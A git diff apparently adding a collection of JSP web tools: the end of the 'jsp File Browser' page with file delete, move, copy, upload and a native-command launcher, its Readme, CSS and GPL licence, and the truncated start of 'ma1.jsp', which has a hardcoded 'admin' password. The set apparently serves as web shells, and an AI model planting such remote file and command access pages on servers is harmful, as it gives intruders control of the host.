(int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + if (!f.canWrite() || !f.delete()) { + request.setAttribute("error", "Cannot delete " + f.getAbsolutePath() + + ". Deletion aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("error", "No files selected"); + } + // Create Directory + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_DIR))) { + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), true)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else if (new File(new_dir).mkdirs()) { + request.setAttribute("message", "Directory created"); + } + else request.setAttribute("error", "Creation of directory " + new_dir + " failed"); + } + // Create a new empty file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_FILE))) { + String dir = "" + request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, file_name); + if (!isAllowed(new File(new_file), true)){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // Test, if file_name is empty + else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) { + if (new File(new_file).createNewFile()) request.setAttribute("message", + "File created"); + else request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("error", "Error: " + file_name + " is not a valid filename"); + } + // Rename a file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(RENAME_FILE))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String new_file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, new_file_name); + if (!isAllowed(new File(new_file), true)){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // The error conditions: + // 1) Zero Files selected + else if (v.size() <= 0) request.setAttribute("error", + "Select exactly one file or folder. Rename failed"); + // 2a) Multiple files selected and the first isn't a dir + // Here we assume that expandFileList builds v from top-bottom, starting with the dirs + else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute( + "error", "Select exactly one file or folder. Rename failed"); + // 2b) If there are multiple files from the same directory, rename fails + else if ((v.size() > 1) && ((File) v.get(0)).isDirectory() + && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) { + request.setAttribute("error", "Select exactly one file or folder. Rename failed"); + } + else { + File f = (File) v.get(0); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + // Test, if file_name is empty + else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) { + if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) { + request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("message", "Renamed file " + + ((File) v.get(0)).getName() + " to " + new_file); + } + else request.setAttribute("error", "Error: \"" + new_file_name + + "\" is not a valid filename"); + } + } + // Move selected file(s) + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(MOVE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), false)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + // This ensures that new_dir is a directory + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f, true)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + else if (!f.canWrite() || !f.renameTo(new File(new_dir + + f.getAbsolutePath().substring(dir.length())))) { + request.setAttribute("error", "Cannot move " + f.getAbsolutePath() + + ". Move aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Copy Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(COPY_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String) request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir += File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir), true)){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + try { + byte buffer[] = new byte[0xffff]; + for (int i = 0; i < v.size(); i++) { + File f_old = (File) v.get(i); + File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length())); + if (!isAllowed(f_old, false)|| !isAllowed(f_new, true)){ + request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath()); + error = true; + } + else if (f_old.isDirectory()) f_new.mkdirs(); + // Overwriting is forbidden + else if (!f_new.exists()) { + copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer); + } + else { + // File exists + request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath() + + ", file already exists. Copying aborted"); + error = true; + break; + } + } + } + catch (IOException e) { + request.setAttribute("error", "Error " + e + ". Copying aborted"); + error = true; + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Directory viewer + if (dir_view && request.getAttribute("dir") != null) { + File f = new File("" + request.getAttribute("dir")); + //Check, whether the dir exists + if (!f.exists() || !isAllowed(f, false)) { + if (!f.exists()){ + request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist."); + } + else{ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + //if attribute olddir exists, it will change to olddir + if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")), false)) { + f = new File("" + request.getAttribute("olddir")); + } + //try to go to the parent dir + else { + if (f.getParent() != null && isAllowed(f, false)) f = new File(f.getParent()); + } + //If this dir also do also not exist, go back to browser.jsp root path + if (!f.exists()) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) path = new File( + application.getRealPath(request.getRequestURI())).getParent(); + + if (path == null) // handle the case were we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + f = new File(path); + } + if (isAllowed(f, false)) request.setAttribute("dir", f.getAbsolutePath()); + else request.setAttribute("dir", null); + } +%> + +<%=request.getAttribute("dir")%> + + +<% + //Output message + if (request.getAttribute("message") != null) { + out.println("
    "); + out.println(request.getAttribute("message")); + out.println("
    "); + } + //Output error + if (request.getAttribute("error") != null) { + out.println("
    "); + out.println(request.getAttribute("error")); + out.println("
    "); + } + if (request.getAttribute("dir") != null){ +%> + +
    + Filename filter: +

    + +<% + // Output the table, starting with the headers. + String dir = URLEncoder.encode("" + request.getAttribute("dir")); + String cmd = browser_name + "?dir=" + dir; + int sortMode = 1; + if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request + .getParameter("sort")); + int[] sort = new int[] {1, 2, 3, 4}; + for (int i = 0; i < sort.length; i++) + if (sort[i] == sortMode) sort[i] = -sort[i]; + out.print("" + + "" + + "" + + "" + + ""); + if (!READ_ONLY) out.print (""); + out.println(""); + char trenner = File.separatorChar; + // Output the Root-Dirs, without FORBIDDEN_DRIVES + File[] entry = File.listRoots(); + for (int i = 0; i < entry.length; i++) { + boolean forbidden = false; + for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) { + if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true; + } + if (!forbidden) { + out.println(""); + out.println(""); + } + } + // Output the parent directory link ".." + if (f.getParent() != null) { + out.println(""); + out.println(""); + } + // Output all files and dirs and calculate the number of files and total size + entry = f.listFiles(); + if (entry == null) entry = new File[] {}; + long totalSize = 0; // The total size of the files in the current directory + long fileCount = 0; // The count of files in the current working directory + if (entry != null && entry.length > 0) { + Arrays.sort(entry, new FileComp(sortMode)); + for (int i = 0; i < entry.length; i++) { + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String type = "File"; // This String will tell the extension of the file + if (entry[i].isDirectory()) type = "DIR"; // It's a DIR + else { + String tempName = entry[i].getName().replace(' ', '_'); + if (tempName.lastIndexOf('.') != -1) type = tempName.substring( + tempName.lastIndexOf('.')).toLowerCase(); + } + String ahref = ""; + String link = buf; // The standard view link, uses Mime-type + if (entry[i].isDirectory()) { + if (entry[i].canRead() && USE_DIR_PREVIEW) { + //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip + File[] fs = entry[i].listFiles(); + if (fs == null) fs = new File[] {}; + Arrays.sort(fs, new FileComp()); + StringBuffer filenames = new StringBuffer(); + for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) { + String fname = conv2Html(fs[i2].getName()); + if (fs[i2].isDirectory()) filenames.append("[" + fname + "];"); + else filenames.append(fname + ";"); + } + if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("..."); + else if (filenames.length() > 0) filenames + .setLength(filenames.length() - 1); + link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">" + + FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].canRead()) { + link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]"; + } + else link = FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].isFile()) { //Entry is file + totalSize = totalSize + entry[i].length(); + fileCount = fileCount + 1; + if (entry[i].canRead()) { + dlink = ahref + "downfile=" + name + "\">Download"; + //If you click at the filename + if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">" + + buf + ""; + else link = ahref + "file=" + name + "\">" + buf + ""; + if (entry[i].canWrite()) { // The file can be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">Edit"; + } + else { // If the file cannot be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">View"; + } + } + else { + link = buf; + } + } + String date = dateFormat.format(new Date(entry[i].lastModified())); + out.println(""); + if (entry[i].canRead()) { + out.println(""); + } + else { + out.println(""); + } + out.print(""); + if (entry[i].isDirectory()) out.print(""); + else { + out.print(""); + } + out.println(""); // The download link + if (!READ_ONLY) + out.print (""); // The edit link (or view, depending) + out.println(""); + } + }%> +
     NameSizeTypeDate  
     "); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("  [" + buf + "]"); + out.print("    
    "); + out.println("  " + FOL_IMG + "[..]"); + out.print("    
     " + link + " " + + convertFileSize(entry[i].length()) + "" + type + "  " + // The file type (extension) + date + "" + // The date the file was created + dlink + "" + elink + "
    + Select all +

    + + <%=convertFileSize(totalSize)%> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%> + +

    + "> + + + <% if (!READ_ONLY) {%> + + <% } %> + <% if (!READ_ONLY) {%> +
    + + + + + + + <% } %> +
    +
    +
    + <% if (ALLOW_UPLOAD) { %> +
    + "> + + + +
    + <%} %> + <% if (NATIVE_COMMANDS) {%> +
    + "> + + + +
    <% + }%> +
    + <%}%> +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    + +<% + } +%> \ No newline at end of file diff --git a/jsp/jspbrowser/Readme.txt b/jsp/jspbrowser/Readme.txt new file mode 100644 index 0000000..337872d --- /dev/null +++ b/jsp/jspbrowser/Readme.txt @@ -0,0 +1,279 @@ +jsp File Browser version 1.2 +-------------------------------------------------------------------------------------- + +------------------------IMPORTANT + +With this jsp you can destroy important files on your system, it also could be +a serious security hole on your server. +Use this script only, if you know what you do. There is no warranty of any kind. + +------------------------REQUIREMENTS + +To use the File browser, you need a JSP1.1 compatible Web Server like Tomcat, Resin +or Jetty. +If you use the browser on webspace provided by an internet service provider, +it could be, that you are not allowed to go in some directories or execute +commands on the server, this will result in an exception. + +------------------------INSTALLATION + +Just copy the jsp file to any configured Web application. The author recommends to +protect the directory you copy the file into by password, to avoid abuse. + +------------------------SETTINGS + +If you want to change the standard style, you can create a css file in the directory +where Browser.jsp is located with the name "Browser.css". If you want choose another name +change this line in Browser.jsp: + private static final String CSS_NAME = "Browser.css"; +For the syntax, look at the example css file. + +If you click on a filename, the file will be opened in an new window. If you want that file +opened in your current window, change this line: + private static final boolean USE_POPUP = true; +to + private static final boolean USE_POPUP = false; + +If you hold the mouse cursor over a directory name, a tooltip with +the first ten entries of this directory show up. This feature can lead to performance issues. If +you observe slow loading times you should change this line: + private static final boolean USE_DIR_PREVIEW = true; +to + private static final boolean USE_DIR_PREVIEW = false; + +You could also change the number of entries in the preview by changing this line: + private static final int DIR_PREVIEW_NUMBER = 10; + +If you would like to execute commands on the server, you have to specify a +command line interpreter and the parameter to execute a command. +This is the parameter for windows: + private static final String[] COMMAND_INTERPRETER = {"cmd","/C"}; + +The maximum time in ms a command is allowed to run before it will be terminated is specified +by this line: + private static final long MAX_PROCESS_RUNNING_TIME = 30000; + +You can restrict file browsing and manipulation by setting + private static final boolean RESTRICT_BROWSING = true; +You can choose between whitelist restriction, that means the user is allowed to browse only in +directories, which are lower than RESTRICT_PATH, or blacklist restriction, which allows +the user to access all directories besides RESTRICT_PATH. + private static final boolean RESTRICT_WHITELIST = true; +You can set more than one directory in RESTRICT_PATH, seperated by semicolon. + +It is also possible to make the file browser read-only. All operations which change the +file structure (besides upload and native command execution) are forbidden and turned off. +To achieve this change + private static final boolean READ_ONLY = false; +to + private static final boolean READ_ONLY = true; +. + +You can also turn off upload with + private static final boolean ALLOW_UPLOAD = false; . + +If you restrict file access it is also recommend to forbid native command execution by +changing + private static final boolean NATIVE_COMMANDS = true; +to + private static final boolean NATIVE_COMMANDS = false; +. + +------------------------USAGE + +This JSP program allows remote web-based file access and manipulation. +You can copy, create, move, rename and delete files. +Text files can be edited and groups of files and folders can be downloaded +as a single zip file that is created on the fly. + +http://server/webapp/Browser.jsp +or +http://server/webapp/Browser.jsp?dir=[Directory on the server] + +You do not need a javascript capable browser, but it looks nicer with it. + +If you want to copy or move a file, please enter the target directory name in the +edit field (absolute or relative). If you want to create a new file or directory, +enter the name in the edit field. + +If you click on a header name (e.g. size) the entries will be sorted by this property. +If you click two times, they will be sorted descending. + +The button "Download as zip" let you download the selected directories and files packed as +one zip file. + +The buttons "Delete Files", "Move Files", "Copy Files", delete, move and copy also selected +directories with subdirectories. + +If you click on a .zip or .jar filename, you will see the entries of the packed file. +You can unpack .zip, .jar and .gz direct on the server. For this filetype the entry in the +last column is "Unpack". If you click at the "Unpack" link, the file will be unpacked in +the current folder. Note, that you can only unpack a file, if no entry of the packed file +already exist in the directory (no overwriting). If you want to unpack this file, you have +to delete the files on the server which correspond to the entries. This feature is very useful, +if you would like to upload more than one file. Zip the files together on your computer, +then upload the zip file and extract it on the server. + +You can execute commands on the server (if you are allowed to) by clicking the "Launch command" +button, but beware that you cannot interact with the program. If the execution time of the program +is longer than MAX_PROCESS_RUNNING_TIME (standard: 30 sec.) the program will be killed. + +If you click on a file, it will be shown, if the MIME Type is supported. +The following MIME Types are supported: + +.png image/png +.jpg, .jpeg image/jpeg +.gif image/gif +.tiff image/tiff +.svg image/svg+xml +.pdf application/pdf +.htm, .html, .shtml text/html +.xml text/xml +.avi video/x-msvideo +.mov video/quicktime +.mpg, .mpeg, .mpe video/mpeg +.rtf application/rtf +.mid, .midi, audio/x-midi +.xl,.xls,.xlv,.xla,.xlb,.xlt,.xlm,.xlk application/excel +.doc, .dot application/msword +.mp3 audio/mp3 +.ogg audio/ogg +else text/plain + +------------------------SHORTKEYS + +You can use the following shortkeys for better handling: + +r Rename file +m Move file +y Copy file +Del Delete file +l Launch command +z Download selected files as zip +c Create file +d Create directory + +------------------------KNOWN BUGS + +The JVM from windows will sometimes displays a message box on the server, +if you try to access an empty removable drive. There will be no respond from +the server until the message box is closed. +If someone knows how to fix this, please write me a mail. +Removable drives will not be shown on the list, if you add them to this +property: + +private static final String[] FORBIDDEN_DRIVES= {"a:\\"} +like e.g. +private static final String[] FORBIDDEN_DRIVES= {"a:\\", "d:\\", "e:\\"} + +------------------------CONTACT + +Boris von Loesch +boris@vonloesch.de + +------------------------CHANGELOG +1.2 (21.07.2006) +- Shortkeys +- Filter file table +- Fix a bug which appears with Tomcat +- Add parameter to turn jsp filebrowser to a read-only version +- Add parameter to disallow uploads (even in the read-only version) +- Nicer layout +- Javascript will now be cached by the browser therefore smaller page size +- Turned off directory preview by default, because it uses too much resources + +1.1a (27.08.2004) +- killed a bug, which appears if you view or download files +- fix upload time display + +1.1 (20.08.2004) +- Upload monitor +- Restrict file access + +1.0 (13.04.2004) +- if you click two times on a table header, it will be sorted descending +- sort parameter is memorized +- bugfixes (14,11,15) +- added some mime types + +1.0RC2 (02.02.2004) +- only bugfixes (3,4,6,9) + +1.0RC1 (17.11.2003) +Thanks to David Cowan for code contribution (buffering), bug fixing and testing +- execute native shell commands +- quick change to lower directories paths +- solve homepath problem with Oracle oc4j +- remove two bugs in the upload routine +- add war file unpack and view support +- remove some html errors (page is now valid HTML 4.1 Transitional) +- add buffering for download of files and zip file creation, this increases the speed + +0.6 (14.10.2003) +Thanks to David Levine for bug fixes +- Refactor parts of the code +- Viewing and unpacking of .zip, .jar and .gz files on the server +- Customizable layout via external css file (optional) +- Distinction between error and success messages +- Open File in a new window +- "Select all" checkbox +- More options +- Some small changes and bugfixes + +0.5 (20.08.2003) +Greetings to Taylor Bastien who contributed a lot of code for this release +- Renaming of files +- File extension in an extra column +- variable filesize unit (bytes, KB or MB) +- Directory preview via tooltip (simple hold the mousecursor over a directory name and + a tooltip with the first ten entries will appear) +- Summary (number and size of all files in the current directory) +- Text editor can save files with dos/windows or unix line ending +- many small changes + +0.4 (17.05.2003) +- It does not longer need a temporary directory ! +- Jsp 1.1 compatible (works now also in Tomcat 3) +- The file editor can now save the edited file with a new name and can make a backup +- selected row is marked by color and the checkbox can be selected by click at any place in the row + (works only with Javascript) +- some new MIME types (xml, png, svg) +- unreadable files and directories are marked (not selectable) +- write protected files and directories are marked (italic) +- if no dir parameter is assigned, the home directory of the browser will be displayed +- some bugs killed + +0.3 +- Output is HTML 4.01 conform, should now be netscape>4 compatible +- Messages to indicate the status of an operation +- Many bugs killed +- Tooltips + +0.2 +- First release + +CREDITS +Taylor Bastien +David Levine +David Cowan +Lieven Govaerts + +LICENSE + +jsp File browser +Copyright (C) 2003-2006 Boris von Loesch + +This program is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the +Free Software Foundation; either version 2 of the License, or (at your option) +any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along with +this program; if not, write to the +Free Software Foundation, Inc., +59 Temple Place, Suite 330, +Boston, MA 02111-1307 USA diff --git a/jsp/jspbrowser/example-css.css b/jsp/jspbrowser/example-css.css new file mode 100644 index 0000000..cdbbbd9 --- /dev/null +++ b/jsp/jspbrowser/example-css.css @@ -0,0 +1,50 @@ +input.button { background-color: #EF9C00; + color: #8C5900; + border: 2px outset #EF9C00; } +input.button:Hover { color: #444444 } + +input { background-color:#FDEBCF; + border: 2px inset #FDEBCF } + +table.filelist { background-color:#FDE2B8; + width:100%; + border:3px solid #ffffff } +th { background-color:#BC001D; + font-size: 10pt; + color:#022F55 } + +tr.mouseout { background-color:#F5BA5C; } +tr.mouseout td {border:1px solid #F5BA5C;} + +tr.mousein { background-color:#EF9C00; } +tr.mousein td { border-top:1px solid #3399ff; + border-bottom:1px solid #3399FF; + border-left:1px solid #EF9C00; + border-right:1px solid #EF9C00; } +tr.checked { background-color:#B57600 } +tr.checked td {border:1px solid #B57600;} + +tr.mousechecked { background-color:#8C5900 } +tr.mousechecked td {border:1px solid #8C5900;} + +td { font-family:Verdana, Arial, Helvetica, sans-serif; + font-size: 7pt; + color: #FFF5E8; } + +td.message { background-color: #FFFF00; + color: #000000; + text-align:center; + font-weight:bold } +.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;} +.formular2 {margin: 1px;} + +A { text-decoration: none; + color: #005073 + } +A:Hover { color : #022F55; + text-decoration : underline; } +BODY { font-family:Verdana, Arial, Helvetica, sans-serif; + font-size: 8pt; + color: #666666; + background-color: #FDE2B8; + } diff --git a/jsp/jspbrowser/gpl.txt b/jsp/jspbrowser/gpl.txt new file mode 100644 index 0000000..78337b6 --- /dev/null +++ b/jsp/jspbrowser/gpl.txt @@ -0,0 +1,222 @@ + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS \ No newline at end of file diff --git a/jsp/ma1.jsp b/jsp/ma1.jsp new file mode 100644 index 0000000..1176511 --- /dev/null +++ b/jsp/ma1.jsp @@ -0,0 +1,1811 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "admin"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement 